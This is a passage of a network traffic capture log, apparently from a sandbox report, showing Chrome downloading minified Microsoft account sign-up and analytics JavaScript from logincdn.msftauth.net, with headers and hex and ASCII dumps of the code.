2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 3d 74 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 2e 72 65 76 65 61 6c 4f 72 64 65 72 29 7b 69 66 28 30 21 3d 28 36 34 26 74 2e 65 66 66 65 63 74 54 61 67 29 29 72 65 74 75 72 6e 20 74 7d 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 3d 74 2e 63 68 69 6c 64 29 7b 74 2e 63 68 69 6c 64 2e 72 65 74 75 72 6e 3d 74 2c 74 3d 74 2e 63 68 69 6c 64 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 74 3d 3d 3d 65 29 62 72 65 61 6b 3b 66 6f 72 28 3b 6e 75 6c 6c 3d 3d 3d 74 2e 73 69 62 6c 69 6e 67 3b 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 2e 72 65 74 75 72 6e 7c 7c 74 2e 72 65 74 75 72 6e 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 3d 74 2e 72 65 74 75 72 6e 7d 74 2e 73 69 62 6c 69 6e 67 2e 72 65 74 75 72 6e 3d 74 2e 72 65 74 75 72 6e 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 7d Data Ascii: =t.memoizedProps.revealOrder){if(0!=(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return\|\|t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 6e 3d 65 2e 74 61 69 6c 3b 66 6f 72 28 76 61 72 20 72 3d 6e 75 6c 6c 3b 6e 75 6c 6c 21 3d 3d 6e 3b 29 6e 75 6c 6c 21 3d 3d 6e 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 72 3d 6e 29 2c 6e 3d 6e 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 3d 3d 3d 72 3f 74 7c 7c 6e 75 6c 6c 3d 3d 3d 65 2e 74 61 69 6c 3f 65 2e 74 61 69 6c 3d 6e 75 6c 6c 3a 65 2e 74 61 69 6c 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 3a 72 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 3b 73 77 69 74 63 68 28 74 2e 74 61 67 29 7b 63 61 73 65 20 32 3a 63 61 73 65 20 31 36 3a 63 61 73 65 20 31 35 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 31 3a 63 61 73 65 20 37 3a 63 61 73 65 20 38 3a 63 61 73 Data Ascii: n=e.tail;for(var r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t\|\|null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function nl(e,t,n){var r=t.pendingProps;switch(t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:cas
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 6e 29 65 3d 65 69 28 65 2c 30 7c 6e 2e 74 69 6d 65 6f 75 74 4d 73 7c 7c 35 65 33 2c 32 35 30 29 3b 65 6c 73 65 20 73 77 69 74 63 68 28 72 29 7b 63 61 73 65 20 39 39 3a 65 3d 31 30 37 33 37 34 31 38 32 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 38 3a 65 3d 65 69 28 65 2c 31 35 30 2c 31 30 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 37 3a 63 61 73 65 20 39 36 3a 65 3d 65 69 28 65 2c 35 65 33 2c 32 35 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 35 3a 65 3d 32 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 6c 28 33 32 36 29 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 44 6c 26 26 65 3d 3d 3d 42 6c 26 26 2d 2d 65 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6f 63 28 65 2c 74 29 7b 69 66 28 35 30 3c 4a 6c 29 74 68 72 6f 77 20 4a 6c Data Ascii: n)e=ei(e,0\|n.timeoutMs\|\|5e3,250);else switch(r){case 99:e=1073741823;break;case 98:e=ei(e,150,100);break;case 97:case 96:e=ei(e,5e3,250);break;case 95:e=2;break;default:throw Error(l(326))}return null!==Dl&&e===Bl&&--e,e}function oc(e,t){if(50<Jl)throw Jl
2025-01-11 00:13:43 UTC	16383	IN	Data Raw: 74 56 61 6c 75 65 3d 61 2c 6e 75 6c 6c 21 3d 3d 63 29 69 66 28 73 3d 63 2e 76 61 6c 75 65 2c 30 3d 3d 3d 28 61 3d 56 72 28 73 2c 61 29 3f 30 3a 30 7c 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 3f 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 28 73 2c 61 29 3a 31 30 37 33 37 34 31 38 32 33 29 29 29 7b 69 66 28 63 2e 63 68 69 6c 64 72 65 6e 3d 3d 3d 69 2e 63 68 69 6c 64 72 65 6e 26 26 21 76 6f 2e 63 75 72 72 65 6e 74 29 7b 74 3d 65 6c 28 65 2c 74 2c 6e 29 3b 62 72 65 61 6b 20 65 7d 7d 65 6c 73 65 20 66 6f 72 28 6e 75 6c 6c 21 3d 3d 28 73 3d 74 2e 63 68 69 6c 64 29 26 26 28 73 2e 72 65 74 75 72 6e 3d 74 29 3b 6e 75 6c 6c 21 3d 3d 73 3b 29 7b 76 61 72 Data Ascii: tValue=a,null!==c)if(s=c.value,0===(a=Vr(s,a)?0:0\|("function"==typeof o._calculateChangedBits?o._calculateChangedBits(s,a):1073741823))){if(c.children===i.children&&!vo.current){t=el(e,t,n);break e}}else for(null!==(s=t.child)&&(s.return=t);null!==s;){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49800	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:44 UTC	400	OUT	GET /shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:44 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 273269 Cache-Control: public, max-age=31536000 Content-MD5: 4A2B8BHNHBCzox2bgTGApw== Content-Type: application/x-javascript Date: Sat, 11 Jan 2025 00:13:44 GMT Etag: 0x8DD2612F1F0F6DD Last-Modified: Fri, 27 Dec 2024 01:08:16 GMT Server: ECAcc (lhc/7904) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 020af46a-001e-00f1-4341-61d301000000 x-ms-version: 2009-09-19 Content-Length: 908206 Connection: close
2025-01-11 00:13:44 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 73 69 67 6e 75 70 2d 66 61 62 72 69 63 5f 65 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 69 3d 7b 35 31 33 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 39 35 31 29 2c 6f 3d 7b 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 3a 21 30 2c 63 6f 6e 74 65 78 74 54 79 70 65 73 3a 21 30 2c 64 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 2c 64 69 73 70 6c 61 79 4e 61 6d 65 3a 21 30 2c 67 65 74 44 65 66 61 75 6c 74 50 72 6f 70 73 3a 21 30 Data Ascii: /! For license information please see signup-fabric_en.js.LICENSE.txt /!function(){var e,t,n,r,o,i={5135:function(e,t,n){"use strict";var r=n(2951),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0
2025-01-11 00:13:44 UTC	16383	IN	Data Raw: 61 6c 6c 28 63 2c 66 2c 69 2e 70 72 6f 70 73 2c 73 29 3a 68 29 26 26 28 6d 3f 28 6d 3d 21 31 2c 66 3d 6f 28 7b 7d 2c 66 2c 68 29 29 3a 6f 28 66 2c 68 29 29 7d 63 2e 73 74 61 74 65 3d 66 7d 7d 65 6c 73 65 20 75 3d 6e 75 6c 6c 3b 69 66 28 4f 65 28 65 3d 63 2e 72 65 6e 64 65 72 28 29 2c 6c 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 28 69 3d 6c 2e 63 68 69 6c 64 43 6f 6e 74 65 78 74 54 79 70 65 73 29 29 7b 76 61 72 20 62 3d 63 2e 67 65 74 43 68 69 6c 64 43 6f 6e 74 65 78 74 28 29 3b 66 6f 72 28 76 61 72 20 79 20 69 6e 20 62 29 69 66 28 21 28 79 20 69 6e 20 69 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 61 28 31 30 38 2c 50 28 6c 29 7c 7c 22 55 6e 6b Data Ascii: all(c,f,i.props,s):h)&&(m?(m=!1,f=o({},f,h)):o(f,h))}c.state=f}}else u=null;if(Oe(e=c.render(),l),"function"==typeof c.getChildContext&&"object"===r(i=l.childContextTypes)){var b=c.getChildContext();for(var y in b)if(!(y in i))throw Error(a(108,P(l)\|\|"Unk
2025-01-11 00:13:44 UTC	16383	IN	Data Raw: 22 43 6f 6e 74 65 78 74 2e 43 6f 6e 73 75 6d 65 72 22 3b 63 61 73 65 20 6c 65 3a 72 65 74 75 72 6e 22 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 22 3b 63 61 73 65 20 75 65 3a 76 61 72 20 74 3d 65 2e 72 65 6e 64 65 72 3b 72 65 74 75 72 6e 20 74 3d 74 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 74 2e 6e 61 6d 65 7c 7c 22 22 2c 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 28 22 22 21 3d 3d 74 3f 22 46 6f 72 77 61 72 64 52 65 66 28 22 2b 74 2b 22 29 22 3a 22 46 6f 72 77 61 72 64 52 65 66 22 29 3b 63 61 73 65 20 66 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 74 79 70 65 29 3b 63 61 73 65 20 6d 65 3a 72 65 74 75 72 6e 20 79 65 28 65 2e 72 65 6e 64 65 72 29 3b 63 61 73 65 20 67 65 3a 69 66 28 65 3d 31 3d 3d 3d 65 2e 5f 73 74 61 74 75 73 3f 65 2e 5f 72 65 73 75 Data Ascii: "Context.Consumer";case le:return"Context.Provider";case ue:var t=e.render;return t=t.displayName\|\|t.name\|\|"",e.displayName\|\|(""!==t?"ForwardRef("+t+")":"ForwardRef");case fe:return ye(e.type);case me:return ye(e.render);case ge:if(e=1===e._status?e._resu
2025-01-11 00:13:44 UTC	3	IN	Data Raw: 72 74 79 Data Ascii: rty
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 28 6e 29 29 7b 76 61 72 20 72 3d 30 3d 3d 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 2d 2d 22 29 2c 6f 3d 6f 6e 28 6e 2c 74 5b 6e 5d 2c 72 29 3b 22 66 6c 6f 61 74 22 3d 3d 3d 6e 26 26 28 6e 3d 22 63 73 73 46 6c 6f 61 74 22 29 2c 72 3f 65 2e 73 65 74 50 72 6f 70 65 72 74 79 28 6e 2c 6f 29 3a 65 5b 6e 5d 3d 6f 7d 7d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 6e 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 74 2b 65 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 31 29 2c 6e 6e 5b 74 5d 3d 6e 6e 5b 65 5d 7d 29 29 7d 29 29 3b 76 61 72 20 6c 6e 3d 69 28 7b 6d 65 6e 75 69 74 65 6d 3a 21 30 7d 2c 7b 61 72 65 61 Data Ascii: (n)){var r=0===n.indexOf("--"),o=on(n,t[n],r);"float"===n&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}Object.keys(nn).forEach((function(e){rn.forEach((function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),nn[t]=nn[e]}))}));var ln=i({menuitem:!0},{area
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 69 66 69 65 64 22 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 22 6b 65 79 70 72 65 73 73 22 3d 3d 3d 65 2e 74 79 70 65 3f 31 33 3d 3d 3d 28 65 3d 72 6f 28 65 29 29 3f 22 45 6e 74 65 72 22 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 22 6b 65 79 64 6f 77 6e 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 22 6b 65 79 75 70 22 3d 3d 3d 65 2e 74 79 70 65 3f 69 6f 5b 65 2e 6b 65 79 43 6f 64 65 5d 7c 7c 22 55 6e 69 64 65 6e 74 69 66 69 65 64 22 3a 22 22 7d 2c 6c 6f 63 61 74 69 6f 6e 3a 6e 75 6c 6c 2c 63 74 72 6c 4b 65 79 3a 6e 75 6c 6c 2c 73 68 69 66 74 4b 65 79 3a 6e 75 6c 6c 2c 61 6c 74 4b 65 79 3a 6e 75 6c 6c 2c 6d 65 74 61 4b 65 79 3a 6e 75 6c 6c 2c 72 65 70 65 61 74 3a 6e 75 6c 6c 2c 6c 6f 63 61 6c 65 3a 6e 75 6c 6c 2c 67 65 Data Ascii: ified"!==t)return t}return"keypress"===e.type?13===(e=ro(e))?"Enter":String.fromCharCode(e):"keydown"===e.type\|\|"keyup"===e.type?io[e.keyCode]\|\|"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,ge
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 74 2e 6d 65 6d 6f 69 7a 65 64 50 72 6f 70 73 2e 72 65 76 65 61 6c 4f 72 64 65 72 29 7b 69 66 28 30 21 3d 28 36 34 26 74 2e 65 66 66 65 63 74 54 61 67 29 29 72 65 74 75 72 6e 20 74 7d 65 6c 73 65 20 69 66 28 6e 75 6c 6c 21 3d 3d 74 2e 63 68 69 6c 64 29 7b 74 2e 63 68 69 6c 64 2e 72 65 74 75 72 6e 3d 74 2c 74 3d 74 2e 63 68 69 6c 64 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 74 3d 3d 3d 65 29 62 72 65 61 6b 3b 66 6f 72 28 3b 6e 75 6c 6c 3d 3d 3d 74 2e 73 69 62 6c 69 6e 67 3b 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 2e 72 65 74 75 72 6e 7c 7c 74 2e 72 65 74 75 72 6e 3d 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 3d 74 2e 72 65 74 75 72 6e 7d 74 2e 73 69 62 6c 69 6e 67 2e 72 65 74 75 72 6e 3d 74 2e 72 65 74 75 72 6e 2c 74 3d 74 2e 73 69 62 6c 69 6e 67 7d 72 Data Ascii: t.memoizedProps.revealOrder){if(0!=(64&t.effectTag))return t}else if(null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)break;for(;null===t.sibling;){if(null===t.return\|\|t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}r
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 3d 65 2e 74 61 69 6c 3b 66 6f 72 28 76 61 72 20 72 3d 6e 75 6c 6c 3b 6e 75 6c 6c 21 3d 3d 6e 3b 29 6e 75 6c 6c 21 3d 3d 6e 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 72 3d 6e 29 2c 6e 3d 6e 2e 73 69 62 6c 69 6e 67 3b 6e 75 6c 6c 3d 3d 3d 72 3f 74 7c 7c 6e 75 6c 6c 3d 3d 3d 65 2e 74 61 69 6c 3f 65 2e 74 61 69 6c 3d 6e 75 6c 6c 3a 65 2e 74 61 69 6c 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 3a 72 2e 73 69 62 6c 69 6e 67 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 6c 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 70 65 6e 64 69 6e 67 50 72 6f 70 73 3b 73 77 69 74 63 68 28 74 2e 74 61 67 29 7b 63 61 73 65 20 32 3a 63 61 73 65 20 31 36 3a 63 61 73 65 20 31 35 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 31 3a 63 61 73 65 20 37 3a 63 61 73 65 20 38 3a 63 61 73 65 Data Ascii: =e.tail;for(var r=null;null!==n;)null!==n.alternate&&(r=n),n=n.sibling;null===r?t\|\|null===e.tail?e.tail=null:e.tail.sibling=null:r.sibling=null}}function nl(e,t,n){var r=t.pendingProps;switch(t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 29 65 3d 65 69 28 65 2c 30 7c 6e 2e 74 69 6d 65 6f 75 74 4d 73 7c 7c 35 65 33 2c 32 35 30 29 3b 65 6c 73 65 20 73 77 69 74 63 68 28 72 29 7b 63 61 73 65 20 39 39 3a 65 3d 31 30 37 33 37 34 31 38 32 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 38 3a 65 3d 65 69 28 65 2c 31 35 30 2c 31 30 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 37 3a 63 61 73 65 20 39 36 3a 65 3d 65 69 28 65 2c 35 65 33 2c 32 35 30 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 35 3a 65 3d 32 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 6c 28 33 32 36 29 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 44 6c 26 26 65 3d 3d 3d 42 6c 26 26 2d 2d 65 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6f 63 28 65 2c 74 29 7b 69 66 28 35 30 3c 4a 6c 29 74 68 72 6f 77 20 4a 6c 3d Data Ascii: )e=ei(e,0\|n.timeoutMs\|\|5e3,250);else switch(r){case 99:e=1073741823;break;case 98:e=ei(e,150,100);break;case 97:case 96:e=ei(e,5e3,250);break;case 95:e=2;break;default:throw Error(l(326))}return null!==Dl&&e===Bl&&--e,e}function oc(e,t){if(50<Jl)throw Jl=
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 56 61 6c 75 65 3d 61 2c 6e 75 6c 6c 21 3d 3d 63 29 69 66 28 73 3d 63 2e 76 61 6c 75 65 2c 30 3d 3d 3d 28 61 3d 56 72 28 73 2c 61 29 3f 30 3a 30 7c 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 3f 6f 2e 5f 63 61 6c 63 75 6c 61 74 65 43 68 61 6e 67 65 64 42 69 74 73 28 73 2c 61 29 3a 31 30 37 33 37 34 31 38 32 33 29 29 29 7b 69 66 28 63 2e 63 68 69 6c 64 72 65 6e 3d 3d 3d 69 2e 63 68 69 6c 64 72 65 6e 26 26 21 76 6f 2e 63 75 72 72 65 6e 74 29 7b 74 3d 65 6c 28 65 2c 74 2c 6e 29 3b 62 72 65 61 6b 20 65 7d 7d 65 6c 73 65 20 66 6f 72 28 6e 75 6c 6c 21 3d 3d 28 73 3d 74 2e 63 68 69 6c 64 29 26 26 28 73 2e 72 65 74 75 72 6e 3d 74 29 3b 6e 75 6c 6c 21 3d 3d 73 3b 29 7b 76 61 72 20 Data Ascii: Value=a,null!==c)if(s=c.value,0===(a=Vr(s,a)?0:0\|("function"==typeof o._calculateChangedBits?o._calculateChangedBits(s,a):1073741823))){if(c.children===i.children&&!vo.current){t=el(e,t,n);break e}}else for(null!==(s=t.child)&&(s.return=t);null!==s;){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49801	152.199.21.175	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:13:44 UTC	608	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:13:44 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 13014773 Cache-Control: public, max-age=31536000 Content-MD5: Lih+tBiUAIS5IVkMbmcsng== Content-Type: application/x-javascript Date: Sat, 11 Jan 2025 00:13:44 GMT Etag: 0x8DCB8B8BCF38323 Last-Modified: Fri, 09 Aug 2024 21:17:56 GMT Server: ECAcc (lhc/7922) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 85390ee5-001e-0062-515f-ed96e9000000 x-ms-version: 2009-09-19 Content-Length: 90677 Connection: close
2025-01-11 00:13:44 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6f 6e 65 64 73 2d 61 6e 61 6c 79 74 69 63 73 2d 6a 73 5f 30 37 37 32 31 37 37 34 30 63 38 35 33 62 35 64 34 66 65 38 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 37 31 5d 2c 7b 32 32 37 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 7b 41 70 70 49 6e 73 69 67 68 74 73 43 6f 72 65 Data Ascii: /! For license information please see oneds-analytics-js_077217740c853b5d4fe8.js.LICENSE.txt /"use strict";(self.webpackChunk_msidentity_sisu_msa=self.webpackChunk_msidentity_sisu_msa\|\|[]).push([[471],{2278:function(n,e,t){t.r(e),t.d(e,{AppInsightsCore
2025-01-11 00:13:44 UTC	1	IN	Data Raw: 72 Data Ascii: r
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 69 6e 67 22 2c 61 74 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 75 74 3d 22 65 78 70 69 72 65 73 22 2c 63 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 75 6c 6c 2c 6c 74 3d 6e 75 6c 6c 2c 66 74 3d 44 65 28 29 2c 64 74 3d 7b 7d 2c 76 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 74 28 6e 2c 65 29 7b 76 61 72 20 74 3d 6d 74 2e 5f 63 6b 4d 67 72 7c 7c 76 74 2e 5f 63 6b 4d 67 72 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 6d 74 2e 5f 63 6b 4d 67 72 3d 6d 74 28 6e 2c 65 29 2c 76 74 2e 5f 63 6b 4d 67 72 3d 74 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 6e 29 7b 72 65 74 75 72 6e 21 6e 7c 7c 6e 2e 69 73 45 6e 61 62 6c 65 64 28 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 6e 2c 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 6e 26 26 42 6e 28 6e 2e 69 67 6e 6f 72 65 43 6f 6f 6b Data Ascii: ing",at="toUTCString",ut="expires",ct=null,st=null,lt=null,ft=De(),dt={},vt={};function pt(n,e){var t=mt._ckMgr\|\|vt._ckMgr;return t\|\|(t=mt._ckMgr=mt(n,e),vt._ckMgr=t),t}function gt(n){return!n\|\|n.isEnabled()}function yt(n,e){return!!(e&&n&&Bn(n.ignoreCook
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 74 65 28 75 29 7d 28 6e 2c 65 2c 74 29 3b 69 7c 7c 28 69 3d 75 29 2c 61 26 26 61 2e 5f 73 65 74 4e 65 78 74 28 75 29 2c 61 3d 75 7d 7d 29 29 7d 72 65 74 75 72 6e 20 72 26 26 21 69 3f 6c 69 28 5b 72 5d 2c 65 2c 74 29 3a 69 7d 66 75 6e 63 74 69 6f 6e 20 66 69 28 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 6e 2e 70 75 73 68 28 65 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 57 6e 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 72 79 7b 6e 28 65 2c 74 29 7d 63 61 74 63 68 28 72 29 7b 72 74 28 65 2e 64 69 61 67 4c 6f 67 28 29 2c 32 2c 37 33 2c 22 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 20 63 61 6c 6c 69 6e 67 20 75 6e 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 2d 20 22 Data Ascii: te(u)}(n,e,t);i\|\|(i=u),a&&a._setNext(u),a=u}}))}return r&&!i?li([r],e,t):i}function fi(){var n=[];return{add:function(e){e&&n.push(e)},run:function(e,t){Wn(n,(function(n){try{n(e,t)}catch(r){rt(e.diagLog(),2,73,"Unexpected error calling unload handler - "
2025-01-11 00:13:45 UTC	16383	IN	Data Raw: 72 2e 72 6f 6c 65 56 65 72 2c 74 29 2c 64 29 7d 2c 6e 2e 61 70 70 6c 79 41 49 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3b 69 66 28 74 2e 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 29 7b 76 61 72 20 72 3d 70 28 29 3b 72 26 26 54 6f 28 32 2c 6e 2c 44 69 2c 28 28 65 3d 7b 7d 29 5b 30 5d 3d 72 2e 67 65 74 54 72 61 63 65 49 64 28 29 2c 65 5b 31 5d 3d 72 2e 67 65 74 4e 61 6d 65 28 29 2c 65 5b 32 5d 3d 72 2e 67 65 74 53 70 61 6e 49 64 28 29 2c 65 29 2c 21 31 29 7d 7d 2c 6e 2e 61 70 70 6c 79 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 74 3d 70 28 29 3b 69 66 28 74 29 7b 76 61 72 20 72 3d Data Ascii: r.roleVer,t),d)},n.applyAITraceContext=function(n){var e;if(t.enableApplicationInsightsTrace){var r=p();r&&To(2,n,Di,((e={})[0]=r.getTraceId(),e[1]=r.getName(),e[2]=r.getSpanId(),e),!1)}},n.applyDistributedTraceContext=function(n){var e,t=p();if(t){var r=
